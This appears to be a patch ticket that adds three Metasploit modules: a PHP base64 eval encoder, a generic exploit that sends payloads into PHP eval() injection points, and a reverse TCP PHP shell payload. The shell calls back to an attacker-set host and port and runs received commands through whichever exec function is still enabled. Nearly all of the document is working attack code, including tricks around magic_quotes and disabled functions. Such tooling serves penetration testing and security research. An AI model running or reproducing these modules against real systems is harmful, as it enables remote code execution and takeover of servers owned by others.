Ticket #197: php_eval.patch

File php_eval.patch, 8.7 kB (added by egypt@nmt.edu, 8 months ago)
  • modules/encoders/php/base64.rb

    old new  
     1## 
     2# $Id: $ 
     3## 
     4 
     5## 
     6# This file is part of the Metasploit Framework and may be subject to  
     7# redistribution and commercial restrictions. Please see the Metasploit 
     8# Framework web site for more information on licensing and terms of use. 
     9# http://metasploit.com/projects/Framework/ 
     10## 
     11 
     12 
     13require 'msf/core' 
     14 
     15module Msf 
     16module Encoders 
     17module Php 
     18 
     19class Base64 < Msf::Encoder 
     20 
     21        def initialize 
     22                super( 
     23                        'Name'             => 'PHP code Base64 encoder', 
     24                        'Version'          => '$Revision: $', 
     25                        'Description'      => %q{ 
     26                                This encoder returns a base64 string encapsulated in 
     27                                eval(base64_decode()), increasing the size by roughly one 
     28                                third. 
     29                        }, 
     30                        'Author'           => 'egypt <egypt@nmt.edu>', 
     31                        'License'          => BSD_LICENSE, 
     32                        'Arch'             => ARCH_PHP) 
     33        end 
     34 
     35        def encode_block(state, buf) 
     36                # Try not to insert quotes as PHP escapes these by default with 
     37                # magic_quotes_gpc.  The '==' at the end of the base64 encoded data is 
     38                # unnecessary and can cause parse errors when we use it as a raw 
     39                # string, so strip it off. 
     40                # 
     41                # The raw, unquoted base64 without the terminating equals works because 
     42                # PHP treats it like a string, with a couple of caveats.  For payloads 
     43                # that encode to more than 998 characters, only part of the payload 
     44                # gets unencoded on the victim, presumably due to a limitation in php 
     45                # identifier names, so we break the encoded payload into 900-byte 
     46                # chunks. We also must be careful not to begin a chunk with a digit 
     47                # because then PHP thinks it's a number and chokes. 
     48 
     49                b64 = Rex::Text.encode_base64(buf) 
     50                b64.gsub!(/[=\n]+/, '') 
     51                block = '' 
     52                i = 900; 
     53                while i < b64.length 
     54                        while (b64[i].chr =~ /^[0-9]/) 
     55                                i += 1 
     56                        end 
     57                        b64.insert(i,'.') 
     58                        i += 900 
     59                end 
     60                block = "eval(base64_decode(" + b64 + "));" 
     61                return block 
     62        end 
     63 
     64end 
     65 
     66end end end 
  • modules/exploits/unix/webapp/php_eval.rb

    old new  
     1## 
     2# $Id: $ 
     3## 
     4 
     5## 
     6# This file is part of the Metasploit Framework and may be subject to  
     7# redistribution and commercial restrictions. Please see the Metasploit 
     8# Framework web site for more information on licensing and terms of use. 
     9# http://metasploit.com/projects/Framework/ 
     10## 
     11 
     12 
     13require 'msf/core' 
     14 
     15module Msf 
     16 
     17class Exploits::Unix::Webapp::PHP_Eval < Msf::Exploit::Remote 
     18 
     19        include Exploit::Remote::HttpClient 
     20 
     21        def initialize(info = {}) 
     22                super(update_info(info,  
     23                        'Name'           => 'Generic PHP Code eval', 
     24                        'Description'    => %q{ 
     25                                Exploits things like <?php eval($_REQUEST['evalme']); ?> 
     26                        }, 
     27                        'Author'         => 'egypt <egypt@nmt.edu>', 
     28                        'License'        => BSD_LICENSE, 
     29                        'Version'        => '$Revision: 0 $', 
     30                        'References'     => [ ], 
     31                        'Privileged'     => false, 
     32                        'Platform'       => ['php'], 
     33                        'Payload'        => { 
     34                                        'Space'       => 10000,   # arbitrarily chosen 
     35                                        'DisableNops' => true, 
     36                                        'BadChars'    => "'\"",  # quotes are escaped by PHP's magic_quotes_gpc in a default install 
     37                                        'Keys'        => ['php'], 
     38                                }, 
     39                        'Targets'        => [ ['Automatic', { }], ], 
     40                        'DefaultTarget' => 0 
     41                        )) 
     42 
     43 
     44                register_options( 
     45                        [ 
     46                                OptString.new('URIPATH',   [ true,  "The URI to request, with the eval parameter changed to !CODE!", '/eval.php?evalme=!CODE!']), 
     47                                OptBool.new('USE_POST', [ false,  "Use POST method instead of GET", false]), 
     48                                OptString.new('USE_POST_VAR',   [ false,  "Variable name to use if we're sending a POST request", 'evalme']), 
     49                        ], self.class 
     50                        ) 
     51         
     52                deregister_options( 
     53                        'HTTP::junk_params', # not your typical POST, so don't inject params. 
     54                        'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.  
     55                        ) 
     56        end 
     57 
     58        def exploit 
     59                # very short timeout because the request may never return if we're 
     60                # sending a socket payload 
     61                timeout = 0.01 
     62                if (datastore['USE_POST'])  
     63                        if !datastore['USE_POST_VAR'] 
     64                                raise RuntimeError, "USE_POST_VAR must be set to send POST request" 
     65                        end 
     66                        print_status("Sending POST request with payload:\n#{payload.encoded}") 
     67                        # it's post, so chop off all the get variables 
     68                        uri = datastore['URIPATH'].slice(0, datastore['URIPATH'].index("?")) 
     69                        response = send_request_cgi({ 
     70                                'method'    => 'POST', 
     71                                'uri'       => uri, 
     72                                'vars_post' => {datastore['USE_POST_VAR'] => payload.encoded}, 
     73                                },timeout) 
     74                else 
     75                        uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(payload.encoded)) 
     76                        print_status("Sending GET request for #{uri}") 
     77                        response = send_request_raw({ 'uri' => uri },timeout) 
     78                end 
     79                if (response) 
     80                        print_error(response) 
     81                end 
     82        end 
     83end      
     84end 
  • modules/payloads/singles/php/reverse_php_withchecks.rb

    old new  
     1## 
     2# $Id: reverse_php.rb 4419 2007-02-18 00:10:39Z hdm $ 
     3## 
     4 
     5## 
     6# This file is part of the Metasploit Framework and may be subject to  
     7# redistribution and commercial restrictions. Please see the Metasploit 
     8# Framework web site for more information on licensing and terms of use. 
     9# http://metasploit.com/projects/Framework/ 
     10## 
     11 
     12 
     13require 'msf/core' 
     14require 'msf/core/handler/reverse_tcp' 
     15require 'msf/base/sessions/command_shell' 
     16 
     17module Msf 
     18module Payloads 
     19module Singles 
     20module Php 
     21 
     22module ReversePhpWithChecks 
     23 
     24        include Msf::Payload::Single 
     25 
     26        def initialize(info = {}) 
     27                super(merge_info(info, 
     28                        'Name'          => 'PHP Command Shell, Reverse TCP (via php)', 
     29                        'Version'       => '$Revision: 4419 $', 
     30                        'Description'   => 'Reverse PHP connect back shell with checks for disabled functions', 
     31                        'Author'        => 'egypt <egypt@nmt.edu>', 
     32                        'License'       => BSD_LICENSE, 
     33                        'Platform'      => 'php', 
     34                        'Arch'          => ARCH_PHP, 
     35                        'Handler'       => Msf::Handler::ReverseTcp, 
     36                        'Session'       => Msf::Sessions::CommandShell, 
     37                        'PayloadType'   => 'cmd', 
     38                        'Payload'       => 
     39                                { 
     40                                        'Offsets' => { }, 
     41                                        'Payload' => '' 
     42                                } 
     43                        )) 
     44        end 
     45 
     46        # 
     47        # PHP Reverse Shell 
     48        # 
     49        def php_reverse_shell 
     50 
     51                # 
     52                # inet_aton to bypass magic quotes protection for eval() vulnerarilities  
     53                # 
     54 
     55                ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first 
     56 
     57                shell=<<-END_OF_PHP_CODE 
     58                $disabled=@ini_get("disable_functions"); 
     59                if(!empty($disabled)){ 
     60                        $disabled=preg_replace('/[,]+/',',',$disabled); 
     61                        $disabled=explode(',',$disabled); 
     62                }else{$disabled=array();} 
     63                function myexec($cmd){ 
     64                        if(is_callable('shell_exec')and!in_array('shell_exec',$disabled)){ 
     65                                returnshell_exec($cmd); 
     66                        }elseif(is_callable('passthru')and!in_array('passthru',$disabled)){ 
     67                                ob_start();passthru($cmd); 
     68                                $output=ob_get_contents(); 
     69                                ob_end_clean(); 
     70                                return$output; 
     71                        }elseif(is_callable('system')and!in_array('system',$disabled)){ 
     72                                ob_start(); 
     73                                system($cmd); 
     74                                $output=ob_get_contents(); 
     75                                ob_end_clean(); 
     76                                return$output; 
     77                        }elseif(is_callable('exec')and!in_array('exec',$disabled)){ 
     78                                $output=array(); 
     79                                exec($cmd,$output); 
     80                                $output=join("",$output).""; 
     81                                return$output; 
     82                        }elseif(is_callable('proc_open')and!in_array('proc_open',$disabled)){ 
     83                                $descriptors=array(array("pipe","r"),array("pipe","w"),array("pipe","w"),); 
     84                                $res=proc_open($cmd,$descriptors,$pipes); 
     85                                $output=''; 
     86                                while(!feof($pipes[1])){$output.=fread($pipes[1],1024);} 
     87                                @proc_close($res); 
     88                                return$output; 
     89                        }elseif(is_callable('popen')and!in_array('popen',$disabled)){ 
     90                                $fp=popen($cmd,"r"); 
     91                                if(is_resource($fp)){ 
     92                                        $output=''; 
     93                                        while(!feof($fp)){ 
     94                                                $output.=fread($fp,1024); 
     95                                        }@pclose($fp); 
     96                                } 
     97                                return$output; 
     98                        }else{return"All.exec.functions.are.disabled...Sorry.";} 
     99                } 
     100                $socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); 
     101                $result=socket_connect($socket,#{ipaddr},#{datastore['LPORT']}); 
     102                $command=NULL; 
     103                while($command=socket_read($socket,2048)){ 
     104                        $output=myexec(substr($command,0,-1)); 
     105                        socket_write($socket,$output,strlen($output)); 
     106                } 
     107                socket_close($socket); 
     108                END_OF_PHP_CODE 
     109 
     110                # spaces are important but remove tabs and newlines to save space 
     111                shell.gsub!(/[\t\n]+/, '')  
     112                return shell 
     113        end 
     114 
     115        # 
     116        # Constructs the payload 
     117        # 
     118        def generate 
     119                return super + php_reverse_shell 
     120        end 
     121         
     122 
     123end 
     124 
     125end end end end